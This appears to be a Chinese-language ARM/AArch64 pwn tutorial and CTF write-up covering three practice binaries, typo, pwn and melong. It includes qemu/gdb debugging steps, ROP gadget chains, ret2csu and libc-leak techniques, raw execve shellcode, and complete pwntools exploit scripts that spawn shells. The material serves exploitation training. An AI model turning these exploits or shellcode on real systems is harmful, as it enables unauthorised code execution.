arm pwn 入门

arm pwn基本技能

qemu调试arm用户态程序

1
2
3
4
5
6
7
8
9
10
11
# 使用qemu-arm将程序运行起来,并指定一个端口用于连接gdb
qemu-arm -g xxx ./arm-bin

# 使用gdb-multiarch指定arm程序
gdb-multiarch ./arm-bin
gef> set architecture arm
gef> set endian little
gef> target remote :xxx

# gdb-multiarch指定config文件
gdb-multiarch -x mygdb.cfg ./arm-bin

调试mips程序的设置也类似

1
2
3
4
5
6
7
8
9
# 启动mips应用程序,并指定调试端口
qemu-mips -g xxx ./mips-bin
qemu-mips -g xxx -L ./ ./mips-bin # 使用-L指定包含动态库的lib/目录

# gdb-multiarch启动调试
gdb-multiatch ./mips-bin
gef> set architecture mips
gef> set endian big
gef> target remote :xxx

安装arm64的lib库

1
2
3
sudo apt search "libc6-" | grep "arm"
sudo apt install libc6-arm64-cross
# 安装好的库/usr/aarch64-linux-gnu/lib/目录下

qemu-aarch64执行时通过-L指定/usr/aarch64-linux-gnu目录即可,如:

1
qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn

练习题 - typo

题目文件:typo

分析

查看文件属性,arm32位可执行程序,静态连接,去符号表。

查看编译选项,栈无canary但栈不可执行,程序未开启随机化故加载基址固定。

1
2
3
4
5
6
7
8
bling@Ubuntu2004:~/ctf$ file ./typo
./typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

bling@Ubuntu2004:~/ctf$ checksec --file=./typo
RELRO STACK CANARY NX PIE RPATH RUNPATH
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH
Symbols FORTIFY Fortified Fortifiable FILE
No Symbols No 0 0 ./typo

通过start()函数或关键字符串的交叉引用来寻找main()函数。

  • start函数中LDR R0,=sub_8F00中的sub_8F00就是main函数

    1
    2
    3
    4
    5
    6
    .text:00008BB4                 PUSH    {R12}
    .text:00008BB8 LDR R0, =sub_8F00
    .text:00008BBC LDR R3, =0xA5EC
    .text:00008BC0 BL sub_9EBC
    .text:00008BC4 BL sub_F0E0
    .text:00008BC4 ; End of function start
  • 关键字符串,如运行时打印的Let's Do Some Typing Exercise~,在IDA中寻找对该字符串的引用

对于这种输入类的题,首先想到的是输入一个超长字符串看程序会不会崩。果然崩掉了。

1
2
3
4
5
6
7
8
9
10
$ qemu-arm ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
consequently
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)

使用gdb-multiarch调试一下崩溃位置,是否覆盖了返回地址

  • qemu-arm侧

    1
    $ qemu-arm -g 1234 ./typo
  • gdb-multiarch侧

    1
    2
    3
    4
    5
    6
    7
    8
    $ gdb-multiarch ./typo
    GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
    pwndbg> set architecture arm
    The target architecture is assumed to be arm
    pwndbg> set endian little
    The target is assumed to be little endian
    pwndbg> target remote :1234
    Remote debugging using :1234

    这里在gdb内设置的set和target remote都可以写在一个配置文档里,通过gdb-multiarch -x abc.cfg指定。

  • pwntools生成字符串pattern

    1
    2
    3
    >>> from pwn import *
    >>> cyclic(200)
    'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'

    接下来:

  1. gdb-multiarch内执行c

  2. qemu-arm界面,回车后,将上述200个字符输入

  3. 回到gdb-multiarch界面,可以看到如下寄存器信息,PC指针被我们的输入覆盖了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    ─────────────────────────────────[ REGISTERS ]──────────────────────────────────
    R0 0x0
    *R1 0xfffeeed4 ◂— 0x61616161 ('aaaa')
    *R2 0x7e
    R3 0x0
    *R4 0x62616162 ('baab')
    R5 0x0
    R6 0x0
    R7 0x0
    R8 0x0
    *R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
    *R10 0xa68c ◂— push {r3, r4, r5, lr}
    *R11 0x62616163 ('caab')
    R12 0x0
    *SP 0xfffeef48 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
    *PC 0x62616164 ('daab')
  4. 在pwntools中确定'daab'的偏移量,为112

    1
    2
    >>> cyclic_find('daab')
    112
  5. 因此,我们通过padding 112个字符,就能覆盖函数返回地址,劫持控制流

利用

方法1 - ret2shellcode

现成的shellcode

方法2 - rop:svc

svc:id=0xb;R0=addr(“/bin/sh”);R1=0;R2=0

以上系统调用等同于execve(“/bin/sh”,0,0)

找到/bin/sh字符串地址:

1
2
3
4
$ ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh

找ropgadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29

svc

1
2
3
4
5
6
7
8
$ ROPgadget --binary ./typo | grep 'svc #0'
0x0001aca8 : svc #0 ; pop {r4, r5, r6, r7, r8, pc}
0x00019568 : svc #0 ; pop {r4, r5, r6, r7, r8, sb, pc}
0x000482fc : svc #0 ; pop {r7} ; bx lr
0x00048310 : svc #0 ; pop {r7} ; bx lr ; str r7, [sp, #-4]!
0x000482fc : svc #0 ; pop {r7} ; bx lr ; str r7, [sp, #-4]!
0x00048324 : svc #0 ; pop {r7} ; bx lr ; str r7, [sp, #-4]!
......

mov指令:

1
2
3
4
5
6
$ ROPgadget --binary ./typo | grep 'mov r2, r4'
0x0003338c : mov r2, r4 ; blx r3
0x0000f600 : mov r2, r4 ; blx sb
0x00069950 : mov r2, r4 ; mov r3, r4 ; blx r8
0x00013310 : mov r2, r4 ; mov r3, r5 ; blx r1
......

我们的最终目标是:

  • R0 = “/bin/sh”
  • R1 = 0
  • R2 = 0
  • R7 = 0xb (对应arm下execve的系统调用)
  • Rx = svc

根据目标,构造了如下rop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
g1 - 0x00020904 : pop {r0, r4, pc}
g2 - 0x00068bec : pop {r1, pc}
g3 - 0x00023dbc : pop {r4, r7, pc}
g4 - 0x00008160 : pop {r3, pc}
g5 - 0x0003338c : mov r2, r4 ; blx r3
====stack high====
g5
0x0001aca8 # "svc"地址
g4
0xb
0
g3
0
g2
0
0x0006c384 # "/bin/sh"字符串地址
g1
====stack low====

以上rop链对应的payload为:

1
payload = p32(0x00020904)+p32(0x0006c384)+p32(0)+p32(0x00068bec)+p32(0)+p32(0x00023dbc)+p32(0)+p32(0xb)+p32(0x00008160)+p32(0x0001aca8)+p32(0x0003338c)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='arm',log_level='debug')

myproc = process(['qemu-arm','./typo'])

myproc.recvuntil("quit\n")
myproc.send("\n")

payload = p32(0x00020904)+p32(0x0006c384)+p32(0)+p32(0x00068bec)+p32(0)+p32(0x00023dbc)+p32(0)+p32(0xb)+p32(0x00008160)+p32(0x0001aca8)+p32(0x0003338c)
exp = 'a'*112 + payload

myproc.recv()
myproc.sendline(exp)

myproc.interactive()

方法3 - rop:func(“/bin/sh”)

system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0)

使用类似pop {r0,pc}的gadget,实现对r0(第一个参数)和pc的控制,从而劫持控制流到system(“/bin/sh”)

练习题 - pwn

题目文件:pwn

分析

查看文件属性、IDA逆向二进制文件分析后,调试结果如下:

  • 程序有两次输入。第一次输入将被放到bss段,限制了输入大小为0x200。这里没有问题。

  • 第二次输入时,将输入0x200字节的数据给栈上的局部变量。如下所示,明显的栈溢出。

    1
    2
    3
    4
    5
    6
    ssize_t sub_4007F0()
    {
    __int64 v1; // [xsp+10h] [xbp+10h] BYREF

    return read(0, &v1, 0x200uLL);
    }
  • 因此尝试调试输入超长字符串是否能成功覆盖返回地址,劫持pc指针。如下证明输入确实控制了pc。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    ─────────────────────────────────[ REGISTERS ]──────────────────────────────────
    X0 0x0
    *X1 0x40007ffdb0 ◂— 0x6161616261616161 ('aaaabaaa')
    *X2 0x200
    *X3 0x40009a21a8 ◂— 0x0
    X4 0x0
    X5 0x0
    *X6 0x400099eb00 ◂— 0x0
    *X7 0x4000000000
    *X8 0x3f
    *X9 0xffffffffffff
    *X10 0x101010101010101
    X11 0x0
    X12 0x0
    *X13 0x400082e048 —▸ 0x400082f1b0 ◂— 0x0
    *X14 0x400085a308 ◂— 0x70737274735f5f00
    *X15 0x400084ce08 ◂— 0x0
    *X16 0x411028 —▸ 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
    *X17 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
    *X18 0x367
    *X19 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
    X20 0x0
    *X21 0x400610 ◂— movz x29, #0
    X22 0x0
    X23 0x0
    X24 0x0
    X25 0x0
    X26 0x0
    X27 0x0
    X28 0x0
    *X29 0x6161617261616171 ('qaaaraaa')
    *SP 0x40007ffe00 ◂— 'uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaac\n'
    *PC 0x6161617461616173 ('saaataaa')
  • 确定偏移量,为72

    1
    2
    >>> cyclic_find('saaa')
    72

    利用

标准qemu上

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug',arch='aarch64')
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu","./pwn"])

payload = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
payload += "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
payload += "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

io.sendlineafter("Name",payload)
io.sendline(b'a'*72+p64(0x411068))
io.interactive()

shellcode来源

补丁qemu上

补丁qemu上,bss段不可执行。考虑使用mprotect() 函数将bss段设置为可读可写可执行。

1
2
3
4
5
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
// 把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
// 可读可写可执行时prot应当为7

ret2csu

arm下的ret2csu可以实现两次控制流劫持:1、从0x4008cc处进入,通过布置好栈空间控制x19~x30内的几个寄存器,并将x30设置为0x4008ac,从而使程序执行上面这段gadget;2、进入0x4008ac后,w0/x1/x2/x3都会被栈空间的值给覆盖,将x3设置为目标地址,可以实现第一次控制流劫持;3、blr x3返回后继续往下执行,如果此时x19和x20的值相同,就又会执行到0x4008cc;4、此时,通过布置栈空间可以再次控制x30,当执行到ret时,就实现了第二次控制流劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

画个图表示一下实现两次控制流劫持时,栈空间的布局。x29处是低地址,x24处是高地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
           第 一 段 栈 空 间

+----+ +-----+
| x0 +<----+ x24 |
+----+ +-----+
| x1 +<----+ x23 |
+----+ +-----+
| x2 +<----+ x22 |
+----+ +-----+
| x3 +<----+ x21 | 注 意 , 这 里 是 取 [x21] 给 x3
+----+ +-----+
| 1 +<----+ x20 |
+----+ +-----+
| 0 +<----+ x19 |
+----+ +-----+ +----------------------------+
| x30 +----->+ 上 一 段 gadget,偏 移 0x20左 右 |
+-----+ +----------------------------+
| x29 +----->+ anything |
+-----+ +----------------------------+



第 二 段 栈 空 间

+-----+ +---------------------------------+
| x24 +----->+ anything |
+-----+ +---------------------------------+
| x23 +----->+ anything |
+-----+ +---------------------------------+
| x22 +----->+ anything |
+-----+ +---------------------------------+
| x21 +----->+ anything |
+-----+ +---------------------------------+
| x20 +----->+ anything |
+-----+ +---------------------------------+
| x19 +----->+ anything |
+-----+ +---------------------------------+
| x30 +----->+ 下 一 个 目 标 跳 转 地 址 , 如 shellcode |
+-----+ +---------------------------------+
| x29 +----->+ anything |
+-----+ +---------------------------------+

整理一下利用思路:

  • 第一次输入将shellcode放入bss段

  • 第二次输入时溢出覆盖返回地址(至ret2csu),并布置好栈空间

    1. 第一段栈空间实现跳转到下一个gadget,并将关键寄存器赋值
    2. 第二段栈空间实现一个跳转,一般是跳到shellcode或某个关键函数地址上执行

接下来,只需要对照着IDA仔细地将栈空间布置好,就可以了。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='aarch64',log_level='debug')

# myproc = process(['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','./pwn'])
myproc = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./pwn'])

shellcode = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
shellcode += "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
shellcode += "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

input1 = shellcode.ljust(0x50,'\x00') + p64(0x4007e0)

# 函数返回时,栈空间的SP指向栈中“返回地址的上一个”,因此构造的栈紧挨着覆盖的返回地址处
padding_func = 'a'*72 + p64(0x4008cc)
stack1 = flat([0x0,0x4008ac,0x0,0x1,0x411068+0x50,0x7,0x1000,0x411000])
stack2 = flat([0x0,0x411068,0x0,0x0,0x0,0x0,0x0,0x0])

input2 = padding_func + stack1 + stack2
myproc.sendafter('Name:',input1)
myproc.sendline(input2)
myproc.interactive()

练习题 - melong

题目文件:melong.zip

分析

write_diary()函数中,read()的第三个参数nbytes来自于函数参数。a2是main()函数中的一个局部变量。

1
2
3
4
5
6
7
8
9
10
11
12
DWORD *__fastcall write_diary(_DWORD *result, void *a2)
{
unsigned __int8 nbytes; // [sp+Fh] [bp-5h]

nbytes = *result;
if ( nbytes )
{
read(0, a2, nbytes);
result = (_DWORD *)printf("you wrote %s\n", (const char *)a2);
}
return result;
}

跟踪到上一级,来自v8[0],它是PT()函数的返回值。

1
2
3
4
5
6
7
8
          v8[0] = PT(v3);
else
LABEL_5:
check_first(v3);
continue;
case 4:
if ( v8[0] )
write_diary(v8, v5);

PT()函数内部,当ptr == exc2时,返回值为输入的size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 _isoc99_scanf("%d", &size);
ptr = malloc(size);
if ( ptr == (void *)exc2 )
{
puts("Okay, start to exercise!");
for ( i = 0; i < (int)size; ++i )
{
puts("you are getting healthy..");
sleep(1u);
}
free(ptr);
v0 = size;
}
......
return v0;

因此,只要控制ptr == exec2,就可以在write_diary()函数中,利用read(0, a2, nbytes)达到栈溢出覆盖返回地址的目的。

exec2是bss段的值,初始化为0。因此,当malloc(size)执行失败时,就可以达到ptr == exec2的目的。

利用

方法1 - ret2shellcode

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(arch="arm",log_level="debug")

pr = process(['qemu-arm','-L','./','./melong'])
#pr = process(['qemu-arm','-g','1234','-L','./','./melong'])

pr.recvuntil("Type the number:")
pr.sendline(str(1))
pr.recvuntil("Your height(meters) : ")
pr.sendline(str(1.65))
pr.recvuntil("Your weight(kilograms) : ")
pr.sendline(str(100))

pr.recvuntil("Type the number:")
pr.sendline(str(3))
pr.recvuntil("training?")
pr.sendline(str(-1))

pr.recvuntil("Type the number:")
pr.sendline(str(4))

shellcode = "\x02\x20\x42\xe0\x1c\x30\x8f\xe2"
shellcode += "\x04\x30\x8d\xe5\x08\x20\x8d\xe5"
shellcode += "\x13\x02\xa0\xe1\x07\x20\xc3\xe5"
shellcode += "\x04\x30\x8f\xe2\x04\x10\x8d\xe2"
shellcode += "\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
shellcode += "/bin/sh"
payload = shellcode + 'a'*(84-len(shellcode))
payload += p32(0xfffeef10)
pr.sendline(payload)

pr.recvuntil("Type the number:")
pr.sendline(str(6))

pr.interactive()

方法2 - 泄露libc与getshell分开

泄露libc:

  • 利用代码段中 的bl puts,构造puts(puts_got)

  • 利用puts的plt项,puts(puts_got)

  • libc中的puts()函数也是可执行的,但是由于libc基址还未泄露,不适用于这里使用

getshell:

  • libc中寻找system和“/bin/sh”

  • system(“/bin/sh”)

方法3 - 泄露libc与getshell二合一

在代码段寻找特殊bl puts代码,如0x110bc处。特殊之处在于,执行完puts后,会pop {r11,pc},这样我们就可以继续控制pc。

  • 利用bl puts泄露libc
  • 利用0x110c4处的pop将控制流重新劫持到main,当再次栈溢出时控制执行system(“/bin/sh”)
1
2
3
4
5
6
7
8
.text:000110B0 check_first                             ; CODE XREF: main+10C↓p
.text:000110B0 ; main+140↓p
.text:000110B0 PUSH {R11,LR}
.text:000110B4 ADD R11, SP, #4
.text:000110B8 LDR R0, =aCheckBmiFirst ; "Check bmi first"
.text:000110BC BL puts
.text:000110C0 NOP
.text:000110C4 POP {R11,PC}

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch="arm",log_level="debug")

myelf = ELF('./melong')
mylibc = ELF('./lib/libc.so.6')
pr = process(['qemu-arm','-L','./','./melong'])
#pr = process(['qemu-arm','-g','1234','-L','./','./melong'])

def myfunc(val1,val2,val3,val4):
pr.recvuntil("Type the number:")
pr.sendline(str(1))
pr.recvuntil("Your height(meters) : ")
pr.sendline(str(1.65))
pr.recvuntil("Your weight(kilograms) : ")
pr.sendline(str(100))

pr.recvuntil("Type the number:")
pr.sendline(str(3))
pr.recvuntil("training?")
pr.sendline(str(-1))

pr.recvuntil("Type the number:")
pr.sendline(str(4))

payload = 'a'*84
payload += p32(0x11bbc) + p32(val1) + p32(val2) + p32(val3) + p32(val4)
pr.sendline(payload)

pr.recvuntil("Type the number:")
pr.sendline(str(6))


# first time - leak libc and return to main
myfunc(0x2301c,0x110bc,0x0,0x110cc) # 0x2301c:puts_got; 0x110bc:bl puts; 0x110cc:main
pr.recvline()
libc_puts = u32(pr.recvline()[:4])
libc_base = libc_puts - mylibc.symbols['puts']
#log.warn("puts_libc: 0x{:x}".format(libc_puts))
#log.warn("libc_base: 0x{:x}".format(libc_base))
sys_addr = libc_base + mylibc.symbols['system']
binsh_addr = libc_base + 0x131bec

# second time - system("/bin/sh")
myfunc(binsh_addr,sys_addr,0x0,0x0)

pr.interactive()

参考wp

ARM pwn入门

ARM架构下的 Pwn 的一般解决思路

pwndbg常用指令

1
2
i r lr   # 查看lr寄存器的值
p $lr # 打印lr寄存器的值(十进制)